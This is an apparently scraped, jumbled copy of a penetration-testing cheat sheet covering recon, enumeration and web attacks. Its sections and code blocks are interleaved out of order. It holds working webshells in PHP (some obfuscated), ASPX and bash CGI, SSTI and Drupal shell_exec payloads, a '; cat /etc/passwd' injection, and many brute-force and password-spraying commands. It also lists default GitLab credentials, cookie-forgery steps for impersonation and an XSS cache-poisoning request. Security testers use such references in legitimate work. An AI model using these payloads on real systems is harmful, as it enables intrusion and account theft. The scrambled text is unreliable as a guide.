Only this pageAll pages
Powered by GitBook
Couldn't generate the PDF for 130 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

Pentest Book

Loading...

Recon

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Enumeration

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Exploitation

Loading...

ASP.NET

# Look for trace
example.com/trace.axd
example.com/any.aspx/trace.axd

Webshells

PHP

.NET

Packet Scanning

tcpdump

Packet strings analyzer

Web Technologies

Check out in the left submenu what common attack you want review

tcpdump -i eth0
tcpdump -c -i eth0
tcpdump -A -i eth0
tcpdump -w 0001.pcap -i eth0
tcpdump -r 0001.pcap
tcpdump -n -i eth0
tcpdump -i eth0 port 22
tcpdump -i eth0 -src 172.21.10.X
tcpdump -i eth0 -dst 172.21.10.X

# Online service
https://packettotal.com/
# https://github.com/lgandx/PCredz
./Pcredz -f file-to-parse.pcap
./Pcredz -d /tmp/pcap-directory-to-parse/
./Pcredz -i eth0 -v

GitLab

Default credentials:
Username: root & pass: 5iveL!fe 
Username: admin & Pass: 5iveL!fe

If you find GitLab login panel, try to go to:
/explore
Then use the searchbar for users,passwords,keys..

Flash SWF

# SWF Param Finder
https://github.com/m4ll0k/SWFPFinder
bash swfpfinder.sh https://example.com/test.swf

Symfony && Twig

**Tools**
# Server-Side Template Injection and Code Injection Detection and Exploitation Tool 
# https://github.com/epinna/tplmap
./tplmap.py -u 'http://www.target.com/page?name=John'
# https://github.com/ambionics/symfony-exploits

# Symfony:
Check for www.example.com/_profiler/ it contains errors and server variables
# Symfony debug looter:
https://github.com/synacktiv/eos/

# Twig:
https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34

PHP

# Tools
https://github.com/TarlogicSecurity/Chankro
# Bypass disable_functions and open_basedir
python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
# Unserialize PHP Payload generator
https://github.com/ambionics/phpggc
# Backup Artifacts
# https://github.com/mazen160/bfac
bfac --url http://example.com/test.php

Prototype Pollution

# https://github.com/msrkp/PPScan
# https://github.com/BlackFan/client-side-prototype-pollution

WebDav

davtest -cleanup -url http://target
cadaver http://target

OIDC (Open ID Connect)

# Software using this
Keycloak (Red Hat)
Bitbucket Server (Atlassian)
GitLab
Salesforce Lightning
Amazon Cognito (AWS)

# Check /.well-known/openid-configuration

# Look for uri-redirect & SSRF

CDN - Comain Fronting

CDN - Domain Fronting

**Tools**
https://github.com/rvrsh3ll/FindFrontableDomains 
https://github.com/stevecoward/domain-fronting-tools
# Domain Fronting TLS 1.3
https://github.com/SixGenInc/Noctilucent
https://github.com/vysecurity/DomainFrontingLists
Bash

aspx

# system

//CURL http://ip/shell.php?1=whoami
//www.somewebsite.com/index.html?1=ipconfig

// passthru 
<?php passthru($_GET['cmd']); ?>

// NINJA
;").($_^"/"); ?> 
http://target.com/path/to/shell.php?=function&=argument
http://target.com/path/to/shell.php?=system&=ls

// NINJA 2
/'^'{{{{';@${$_}[_](@${$_}[__]);

// One more
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

// https://github.com/Arrexel/phpbash
// https://github.com/flozz/p0wny-shell
<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>
www.somewebsite.com/cgi-bin/a?ls%20/var

Subdomain Takeover

Explanation

  1. Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).

  2. At some point, anotherdomain.com expires and is available for anyone's registration.

  3. Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.

Resources

IDOR

Basics

Check for valuable words:
{regex + perm} id
{regex + perm} user
{regex + perm} account
{regex + perm} number
{regex + perm} order
{regex + perm} no
{regex + perm} doc
{regex + perm} key
{regex + perm} email
{regex + perm} group
{regex + perm} profile
{regex + perm} edit

Bypasses

  • Add parameters onto the endpoints for example, if there was

  • HTTP Parameter pollution

  • Add .json to the endpoint, if it is built in Ruby!

  • Test on outdated API Versions

Wrap the ID with an array.

Wrap the ID with a JSON object:

JSON Parameter Pollution:

Root domains

Basic

Reverse whois

ASN

Favicon

Google Analytics ID

DNS manual recon

Reverse IP search

TLD bruteforcing

Web Cache Poisoning

General

Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.

Fundamentally, web cache poisoning involves two phases. First, the attacker must work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload. Once successful, they need to make sure that their response is cached and subsequently served to the intended victims.

A poisoned web cache can potentially be a devastating means of distributing numerous different attacks, exploiting vulnerabilities such as XSS, JavaScript injection, open redirection, and so on.

Tools

Network Scanning

IP resolution

# https://github.com/Josue87/resolveDomains
resolveDomains -d subdomains.txt

Netdiscover

Nmap

NetBios

Ping Sweep - Bash

Ping Sweep - Windows

Web Attacks

Check out in the left submenu what common attack you want review

Host Scanning

nmap

shodan

Subdomain Enum

Passive sources

Active DNS resolution

Bruteforcing

Flask

Clickjacking

General

Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

Python

HTTP Parameter pollution

VHosts

Tools

Techniques

Cloud

RoR (Ruby on Rails)

/home/six2dez/.pentest-book

This book contains a bunch of info, scripts and knowledge used during my pentests.

Thanks to visit this site, please consider enhance this book with some awesome tools or techniques you know, you can contact me by Telegram(), Twitter() or Discord(six2dez#8201), GitHub pull request is welcomed too ;) Hack 'em all

Usage: Just use the search bar at the upper or navigate through the sections of the left zone. Enjoy it 😊

Don't you know where to go now? Let me introduce you to some of the most popular pages on this wiki:

Pastejacking

Session fixation

Steps to reproduce

  1. Open example.com/login.

  2. Open browser devtools.

DNS rebinding

Services

Web Cache Deception

These preconditions can be exploited for the Web Cache Deception attack in the following manner:

  • Step 1: An attacker entices the victim to open a maliciously crafted link:

    https://www.example.com/my_profile/test.jpg

SAP

#!/bin/sh
echo;$_ `${QUERY_STRING/%20/ }`
www.somewebsite.com/cgi-bin/a?ls%20/var
# https://github.com/antonioCoco/SharPyShell
# https://github.com/OWASP/Amass 
amass intel -d domain.com -whois 

# Search on Google
https://google.com/search?q=united+airlines 

# Analyze owners on domainbigdata
https://iqwhois.com/
https://viewdns.info/reversewhois/?q=United+Airlines
https://tools.whoisxmlapi.com/reverse-whois-search
netdiscover -i eth0
netdiscover -r 10.11.1.1/24

Get value for SESSION cookie.

  • Open example.com/login in the incognito tab.

  • In the incognito tab, change cookie value to the one, obtained in step 3.

  • In the normal tab (the one from steps 1-3) log in as any user.

  • Refresh page in the incognito tab.

  • Result

    You are now logged in the incognito tab as user from step 6 as well.

    The application ignores the 'test.jpg' part of the URL, the victim profile page is loaded. The caching mechanism identifies the resource as an image, caching it.
  • Step 2: The attacker sends a GET request for the cached page:

    https://www.example.com/my_profile/test.jpg

    The cached resource, which is in fact the victim profile page is returned to the attacker (and to anyone else requesting it).

  • Google Cloud Platform
  • Cloud Info Gathering

  • Docker && Kubernetes

  • CDNs

  • General
    AWS
    Azure
    GET /api_v1/messages --> 401
    vs 
    GET /api_v1/messages?user_id=victim_uuid --> 200
    GET /api_v1/messages?user_id=VICTIM_ID --> 401 Unauthorized
    GET /api_v1/messages?user_id=ATTACKER_ID&user_id=VICTIM_ID --> 200 OK
    
    GET /api_v1/messages?user_id=YOUR_USER_ID[]&user_id=ANOTHER_USERS_ID[]
    # https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
    wcvs -u https://url.com
    # https://github.com/s0md3v/Arjun
    python3 arjun.py -u https://url.com --get 
    python3 arjun.py -u https://url.com --post
    # https://github.com/maK-/parameth
    python parameth.py -u https://example.com/test.php
    # https://github.com/devanshbatham/ParamSpider
    python3 paramspider.py --domain example.com
    # https://github.com/s0md3v/Parth
    python3 parth.py -t example.com
    # XSS for users accessing /en?region=uk:
    GET /en?region=uk HTTP/1.1
    Host: innocent-website.com
    X-Forwarded-Host: a."><script>alert(1)</script>"
    nmap -sn 10.11.1.1/24
    nmap -sn 10.11.1.1-253
    nmap -sn 10.11.1.*
    cewl
    hash-identifier
    # https://github.com/HashPals/Name-That-Hash
    john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
    medusa -h 10.11.1.111 -u admin -P password-file.txt -M http -m DIR:/admin -T 10
    ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.111
    crowbar -b rdp -s 10.11.1.111/32 -u victim -C /root/words.txt -n 1
    patator http_fuzz url=https://10.10.10.10:3001/login method=POST accept_cookie=1 body='{"user":"admin","password":"FILE0","email":""}' 0=/root/acronim_dict.txt follow=1 -x ignore:fgrep='HTTP/2 422'
    hydra -l root -P password-file.txt 10.11.1.111 ssh
    hydra -P password-file.txt -v 10.11.1.111 snmp
    hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 ftp -V
    hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 pop3 -V
    hydra -P /usr/share/wordlistsnmap.lst 10.11.1.111 smtp -V
    hydra -L username.txt -p paswordl33t -t 4 ssh://10.10.1.111
    hydra -L user.txt -P pass.txt 10.10.1.111 ftp
    
    # PATATOR
    patator http_fuzz url=https://10.10.10.10:3001/login method=POST accept_cookie=1 body='{"user":"admin","password":"FILE0","email":""}' 0=/root/acronim_dict.txt follow=1 -x ignore:fgrep='HTTP/2 422'
    
    # SIMPLE LOGIN GET
    hydra -L cewl_fin_50.txt -P cewl_fin_50.txt 10.11.1.111 http-get-form "/~login:username=^USER^&password=^PASS^&Login=Login:Unauthorized" -V
    
    # GET FORM with HTTPS
    hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.11.1.111 -s 443 -S https-get-form "/index.php:login=^USER^&password=^PASS^:Incorrect login/password\!"
    
    # SIMPLE LOGIN POST
    hydra -l root@localhost -P cewl 10.11.1.111 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=-120&User=^USER^&Password=^PASS^:F=Login failed" -I
    
    # API REST LOGIN POST
    hydra -l admin -P /usr/share/wordlists/wfuzz/others/common_pass.txt -V -s 80 10.11.1.111 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials" -t 64
    
    # Password spraying bruteforcer
    # https://github.com/x90skysn3k/brutespray
    python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5
    
    # Password generator
    # https://github.com/edoardottt/longtongue
    python3 longtongue.py
    
    https://many-passwords.github.io/
    # https://github.com/Paradoxis/Flask-Unsign
    
    pip3 install flask-unsign
    flask-unsign
    flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
    flask-unsign --decode --server 'https://www.example.com/login'
    flask-unsign --unsign --cookie < cookie.txt
    flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
    
    # Python Flask SSTI Payloads and tricks
    
    * {{url_for.globals}}
    * {{request.environ}}
    * {{config}}
    * {{url_for.__globals__.__builtins__.open('/etc/passwd').read()}}
    * {{self}}
    * request|attr('class') == request.class == request[\x5f\x5fclass\x5f\x5f]       
    # Analyze Python code
    https://github.com/PyCQA/bandit
    
    # Python Web Server common flaws
    Input injection in filename:
    "; cat /etc/passwd
    
    # https://github.com/jobertabma/virtual-host-discovery
    ruby scan.rb --ip=192.168.1.101 --host=domain.tld
    
    # https://github.com/dariusztytko/vhosts-sieve
    python3 vhosts-sieve.py -d domains.txt -o vhosts.txt
    
    # Enum vhosts
    fierce -dns example.com
    
    # https://github.com/codingo/VHostScan
    VHostScan -t example.com
    # ffuf
    badresponse=$(curl -s -H "host: totallynotexistsforsure.bugcrowd.com" https://bugcrowd.com | wc -c)
    ffuf -u https://TARGET.com -H "Host: FUZZ.TARGET.com" -w werdlists/dns-hostnames/nmap-vhosts-all.txt -fs $badresponse
    
    # Manual with subdomains list
    for sub in $(cat subdomains.txt); do
    			echo "$sub $(dig +short a $sub | tail -n1)" | anew -q subdomains_ips.txt
    done
    
    **Tools** 
    # https://github.com/presidentbeef/brakeman
    gem install brakeman
    brakeman /path/to/rails/application
    
    # RoR RCE's
    # https://bishopfox.com/blog/ruby-vulnerabilities-exploits
    https://sslip.io/
    https://lock.cmpxchg8b.com/rebinder.html
    # Fuzzing dictionary
    https://raw.githubusercontent.com/jackrichardzon/s4p0/master/S4P-DIR.txt
    
    # SAP-RECON
    https://github.com/chipik/SAP_RECON
    
    # SAP multiple
    https://github.com/shipcod3/mySapAdventures
    
    # SAP wordlist
    https://github.com/emadshanab/SAP-wordlist/blob/main/SAP-wordlist.txt
    
    # SAP ports
    https://buddysap.com/list-of-sap-port-used-in-sap-abap-and-java-system/

    Web Sockets

    WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic.
    
    WebSocket connections are normally created using client-side JavaScript like the following:
    var ws = new WebSocket("wss://normal-website.com/chat");
    
    To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
    GET /chat HTTP/1.1
    Host: normal-website.com
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
    Connection: keep-alive, Upgrade
    Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
    Upgrade: websocket
    
    If the server accepts the connection, it returns a WebSocket handshake response like the following:
    HTTP/1.1 101 Switching Protocols
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
    
    Several features of the WebSocket handshake messages are worth noting:
    • The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
    • The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
    • The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
    • The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
    
    # Tool
    https://github.com/PalindromeLabs/STEWS

    JS

    # JSScanner
    # https://github.com/dark-warlord14/JSScanner
    # https://securityjunky.com/scanning-js-files-for-endpoint-and-secrets/
    bash install.sh
    # Configure domain in alive.txt
    bash script.sh
    cat js/*
    cd db && grep -oriahE "https?://[^\"\\'> ]+"
    
    # https://github.com/KathanP19/JSFScan.sh
    bash JSFScan.sh -l targets.txt -e -s -m -o 
    
    # https://github.com/bp0lr/linkz
    
    # FindSecrets in JS files
    https://github.com/m4ll0k/SecretFinder
    python3 SecretFinder.py -i https://example.com/1.js -o results.html
    
    # Js vuln scanner, like retire.js with crawling
    https://github.com/callforpapers-source/jshole
    
    # get Shell from xss
    https://github.com/shelld3v/JSshell
    
    # Find JS sourcemap
    1) Find JavaScript files
    2) ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL"
    3) Download sourcemap
    4) https://github.com/chbrown/unmap
    5) Browse configs or just grep for API keys/Creds

    Drupal

    **Tools** 
    # droopescan
    # https://github.com/droope/droopescan
    droopescan scan drupal -u https://example.com -t 32
    
    # drupwn
    # https://github.com/immunIT/drupwn
    sudo python3 drupwn --mode enum|exploit --target https://example.com
    
    # https://github.com/ajinabraham/CMSScan
    docker build -t cmsscan .
    docker run -it -p 7070:7070 cmsscan
    python3 cmsmap.py -f D https://www.example.com -F
    
    # https://github.com/Tuhinshubhra/CMSeeK
    python3 cmseek.py -u domain.com
    
    # Drupal < 8.7.x Authenticated RCE module upload
    https://www.drupal.org/project/drupal/issues/3093274
    https://www.drupal.org/files/issues/2019-11-08/drupal_rce.tar_.gz
    
    # Drupal < 9.1.x Authenticated RCE Twig templates
    https://www.drupal.org/project/drupal/issues/2860607
    "Administer views" -> new View of User Fields - >Add a "Custom text"
    "{{ {"#lazy_builder": ["shell_exec", ["touch /tmp/hellofromviews"]]} }}"
    
    # If found /node/$NUMBER, the number could be devs or tests pages
    
    # drupal 8
    # https://www.exploit-db.com/exploits/46459
    
    # Check for username disclosure on old versions:
    ?q=admin/views/ajax/autocomplete/user/a
    

    OWA

    Tools

    # https://github.com/dafthack/MailSniper
    # Spraying toolkit: https://github.com/byt3bl33d3r/SprayingToolkit
    Invoke-PasswordSprayOWA -ExchHostName mail.r-1x.com -UserList C:\users.txt -Password Dakota2019! -OutFile C:\creds.txt -Threads 10
    python3 atomizer.py owa mail.r-1x.com 'Dakota2019!' ../users.txt
    
    # https://github.com/gremwell/o365enum
    ./o365enum.py -u users.txt -p Password2 -n 1
    
    # https://github.com/mdsecactivebreach/o365-attack-toolkit
    

    Bypasses

    # UserName Recon/Password Spraying - http://www.blackhillsinfosec.com/?p=4694
    # Password Spraying MFA/2FA - http://www.blackhillsinfosec.com/?p=5089
    # Password Spraying/GlobalAddressList - http://www.blackhillsinfosec.com/?p=5330
    # Outlook 2FA Bypass - http://www.blackhillsinfosec.com/?p=5396
    # Malicious Outlook Rules - https://silentbreaksecurity.com/malicious-outlook-rules/
    # Outlook Rules in Action - http://www.blackhillsinfosec.com/?p=5465
    
    Name Conventions:
    - FirstnameLastinitial
    - FirstnameLastname
    - Lastname.firstname

    Cookie Padding

    # https://github.com/AonCyberLabs/PadBuster
    # Get cookie structure
    padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"
    # Get cookie for other user (impersonation)
    padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorhc0nwithyhackme'
    
    #https://github.com/glebarez/padre
    padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
    
    # https://github.com/Kibouo/rustpad
    

    Joomla

    # Joomscan
    joomscan -u  http://10.11.1.111 
    joomscan -u  http://10.11.1.111 --enumerate-components
    
    # Juumla
    #https://github.com/knightm4re/juumla
    python3 main.py -u https://example.com
    
    droopescan scan joomla -u http://10.11.1.111
    python3 cmseek.py -u domain.com
    vulnx -u https://example.com/ --cms --dns -d -w -e
    python3 cmsmap.py https://www.example.com -F
    
    # nmap http-Joomla-brute
    
    # Check common files
    README.txt
    htaccess.txt
    web.config.txt
    configuration.php
    LICENSE.txt
    administrator
    administrator/index.php # Default admin login
    index.php?option=<nameofplugin>
    administrator/manifests/files/joomla.xml
    plugins/system/cache/cache.xml

    Broken Links

    Tools

    # https://github.com/stevenvachon/broken-link-checker 
    blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/

    Firebase

    Tools

    # https://github.com/Turr0n/firebase
    python3 firebase.py -p 4 --dnsdumpster -l file
    
    # https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit
    Firebase_Exploit.py
    
    # https://github.com/viperbluff/Firebase-Extractor
    firebase.py xyz.firebaseio.com
    # Python conector
    # https://github.com/thisbejim/Pyrebase
    
    import pyrebase
    
    config = {
      "apiKey": "FIREBASE_API_KEY",
      "authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
      "databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
      "storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
    }
    
    firebase = pyrebase.initialize_app(config)
    
    db = firebase.database()
    
    print(db.get())

    Others

    # Laravel RCE
    https://github.com/zhzyker/CVE-2021-3129
    
    # Oracle WebLogic
    https://github.com/0nise/weblogic-framework
    https://github.com/0xn0ne/weblogicScanner
    
    # Jolokia
    https://github.com/laluka/jolokia-exploitation-toolkit
    
    # Salesforce
    https://github.com/reconstation/sret
    https://github.com/cosad3s/salsa
    https://infosecwriteups.com/soql-injection-b2c2c624cbbb
    
    # Spring boot
    https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html
    https://medium.com/defmax/analyzing-java-heap-dumps-via-oql-queries-fef8a8416017
    
    # SaltStack
    https://skylightcyber.com/2023/02/09/a-salt-attacking-saltstack/
    
    # CMS
    https://github.com/Tuhinshubhra/CMSeeK
    https://github.com/dionach/CMSmap
    
    # Argo workflows
    https://www.evasec.io/blog/argo-workflows-uncovering-the-hidden-misconfigurations

    Magento

    https://github.com/steverobbins/magescan

    JBoss - Java Deserialization

    # JexBoss
    # https://github.com/joaomatosf/jexboss
    python jexboss.py -host http://target_host:8080

    Online hashes cracked

    https://www.cmd5.org/
    http://hashes.org
    https://www.onlinehashcrack.com/
    https://gpuhash.me/
    https://crackstation.net/
    https://crack.sh/
    https://hash.help/
    https://passwordrecovery.io/
    http://cracker.offensive-security.com/
    https://md5decrypt.net/en/Sha256/
    https://weakpass.com/wordlists
    https://hashes.com/en/decrypt/hash

    Firebird

    Tools

    # https://github.com/InfosecMatter/Scripts/blob/master/firebird-bruteforce.sh 
    ./firebird\_bruteforce.sh IP DB /PATH/pwdlist.txt
    
    # https://www.infosecmatter.com/firebird-database-exploitation/
    apt-get -y install firebird3.0-utils
    isql-fb

    GWT

    # Google Web Toolkit
    # https://github.com/FSecureLABS/GWTMap
    ./gwtmap.py -u http://target.com/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
    Alterations and permutations

    Crawling

    DNS records

    DNS wordlists

    Other techniques

    Google Analytics ID

    Subdomain discovery with Burp

    Navigate through target main website with Burp:

    • Without passive scanner

    • Set forms auto submit

    • Scope in advanced, any protocol and one keyword ("tesla")

    • Last step, select all sitemap, Engagement Tools -> Analyze target

    Preventions:

    • X-Frame-Options: deny/sameorigin/allow-from

    • CSP: policy/frame-ancestors 'none/self/domain.com'

    # An example using the style tag and parameters is as follows:
    <head>
      <style>
        #target_website {
          position:relative;
          width:128px;
          height:128px;
          opacity:0.00001;
          z-index:2;
          }
        #decoy_website {
          position:absolute;
          width:300px;
          height:400px;
          z-index:1;
          }
      </style>
    </head>
    ...
    <body>
      <div id="decoy_website">
      ...decoy web content here...
      </div>
      <iframe id="target_website" src="https://vulnerable-website.com">
      </iframe>
    </body>
    /user_data/2341 --> 401 Unauthorized
    /user_data/2341.json --> 200 OK
    /v3/users_data/1234 --> 403 Forbidden
    /v1/users_data/1234 --> 200 OK
    {“id”:111} --> 401 Unauthriozied
    {“id”:[111]} --> 200 OK
    {“id”:111} --> 401 Unauthriozied
    
    {“id”:{“id”:111}} --> 200 OK
    POST /api/get_profile
    Content-Type: application/json
    {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
    https://bgp.he.net/search?search%5Bsearch%5D=united+airlines&commit=Search 
    whois -h whois.radb.net -- '-i origin AS11535' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq 
    whois -h whois.radb.net -- '-i origin AS20461' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq | mapcidr -silent | dnsx -ptr -resp-only -retry 3 -silent
    # https://github.com/pielco11/fav-up
    python3 favUp.py -ff ~/favicon.ico --shodan-cli 
    
    # https://github.com/devanshbatham/FavFreak
    cat urls.txt | python3 favfreak.py 
    
    # https://faviconhasher.herokuapp.com/
    
    # https://www.shodan.io/search?query=http.favicon.hash%3A-382492124
    
    # https://github.com/edoardottt/favirecon
    favirecon -u https://target.com/ -v
    https://builtwith.com/relationships/united.com
    https://builtwith.com/relationships/tag/UA-29214177
    https://api.hackertarget.com/analyticslookup/?q=united.com
    https://api.hackertarget.com/analyticslookup/?q=UA-16316580
    dnsrecon -d www.example.com -a 
    dnsrecon -d www.example.com -t axfr
    dnsrecon -d 
    dnsrecon -d www.example.com -D  -t brt
    
    dig www.example.com + short
    dig www.example.com MX
    dig www.example.com NS
    dig www.example.com> SOA
    dig www.example.com ANY +noall +answer
    dig -x www.example.com
    dig -4 www.example.com (For IPv4)
    dig -6 www.example.com (For IPv6)
    dig www.example.com mx +noall +answer example.com ns +noall +answer
    dig -t AXFR www.example.com
    dig axfr @10.11.1.111 example.box
    
    dnsenum 10.11.1.111
    # Get domain from IP
    # https://reverse-ip.whoisxmlapi.com/
    # https://github.com/projectdiscovery/dnsx
    cat ips.txt | dnsx -ptr -resp-only -silent -retry 3
    # TLD bruteforcing tool
    https://github.com/Sybil-Scan/TLDbrute
    nbtscan -r 10.11.1.1/24
    for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done
    for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up.
    # https://github.com/OWASP/Amass
    # https://github.com/OWASP/Amass/blob/master/examples/config.ini
    amass enum -passive -d domain.com
    
    # https://github.com/projectdiscovery/subfinder
    # https://github.com/projectdiscovery/subfinder#post-installation-instructions
    subfinder -d domain.com -all -silent
    
    # https://github.com/tomnomnom/assetfinder
    assetfinder example.com
    
    # https://github.com/tomnomnom/waybackurls
    # https://github.com/tomnomnom/unfurl
    echo domain.com | waybackurls | unfurl -u domains
    
    # https://github.com/lc/gau
    # https://github.com/tomnomnom/unfurl
    gau --subs example.com | unfurl -u domains
    
    ## Cert Transparency
    # https://certificate.transparency.dev/
    # https://crt.sh/
    # https://github.com/glebarez/cero
    cero example.com
    # https://github.com/UnaPibaGeek/ctfr
    python3 ctfr.py -d domain.com
    
    # Active crtsh monitoring
    #https://github.com/g0ldencybersec/gungnir
    gungnir -r domains.txt
    
    # https://github.com/gwen001/github-subdomains
    github-subdomains -d example.com -t tokens.txt -o output.txt
    
    # https://github.com/christophetd/censys-subdomain-finder
    python3 censys-subdomain-finder.py example.com
    
    # https://github.com/SmoZy92/Shodomain
    python shodomain.py <SHODAN-API-KEY> example.com
    
    # https://github.com/Cgboal/SonarSearch
    crobat -s example.com
    # Generate custom resolvers list, always
    # https://github.com/vortexau/dnsvalidator
    dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 200
    
    # https://github.com/d3mondev/puredns
    puredns resolve subdomains.txt -r ~/Tools/resolvers.txt
    
    ## BF
    # https://github.com/d3mondev/puredns
    puredns bruteforce ~/Tools/subdomains.txt united.com -r ~/Tools/resolvers.txt
    
    # https://github.com/projectdiscovery/shuffledns
    shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
    #https://github.com/Josue87/gotator
    gotator -sub subdomains/subdomains.txt -perm permutations_list.txt -depth 1 -numbers 10 -mindup -adv -md
    # 1st resolve subdomains on valid websites
    # https://github.com/projectdiscovery/httpx
    cat subdomains.txt | httpx -follow-host-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -o webs_info.txt
    # Clean output
    cat webs_info.txt | cut -d ' ' -f1 | grep ".domain.com" | sort -u > websites.txt
    # Crawl them
    # https://github.com/jaeles-project/gospider
    gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt
    # Clean output
    # https://github.com/tomnomnom/unfurl
    cat urls.txt | sed '/^.\{2048\}./d' | grep -Eo 'https?://[^ ]+' | sed 's/]$//' | unfurl -u domains | grep ".domain.com"
    # https://github.com/projectdiscovery/dnsx
    dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt
    # https://gist.githubusercontent.com/six2dez/a307a04a222fab5a57466c51e1569acf/raw
    # https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt
    # https://gist.github.com/jhaddix/f64c97d0863a78454e44c2f7119c2a6a
    # https://github.com/Josue87/AnalyticsRelationships
    cat subdomains.txt | analyticsrelationships
    • Know your target! Make a proper recon!

    • What can you do in those strange ports?

    • Doing a web pentest? Don't forget to check out any of these common attacks!

    • Do you have the same hype as me with services? They also have their vulnerabilities

    • Stuck again with Windows and ? Here is my cheatsheet

    • The mobile world does not stop growing, see my tips for and

    • is the tool most loved by everyone, but you have to know a few tricks, also check my

    • I'm really proud of

    • If you want to know which web fuzzer fits you best, take a look at the .

    Important note: I use this wiki daily for my work and I am constantly updating it. I'm very sorry if a link to a page changes or I move it, if you need something you are free to contact me.

    You can support this work buying me a coffee:

    Stargazers over time

    Stargazers over time

    @six2dez
    @six2dez1
    # Fast simple scan
    nmap 10.11.1.111
    
    # Nmap ultra fast
    nmap 10.11.1.111 --max-retries 1 --min-rate 1000
    
    # Get open ports
    nmap -p - -Pn -n 10.10.10.10
    
    # Comprehensive fast and accurate
    nmap --top-ports 200 -sV -n --max-retries 2 -Pn --open -iL ips.txt -oA portscan_active
    
    # Get sV from ports
    nmap -pXX,XX,XX,XX,XX -Pn -sV -n 10.10.10.10
    
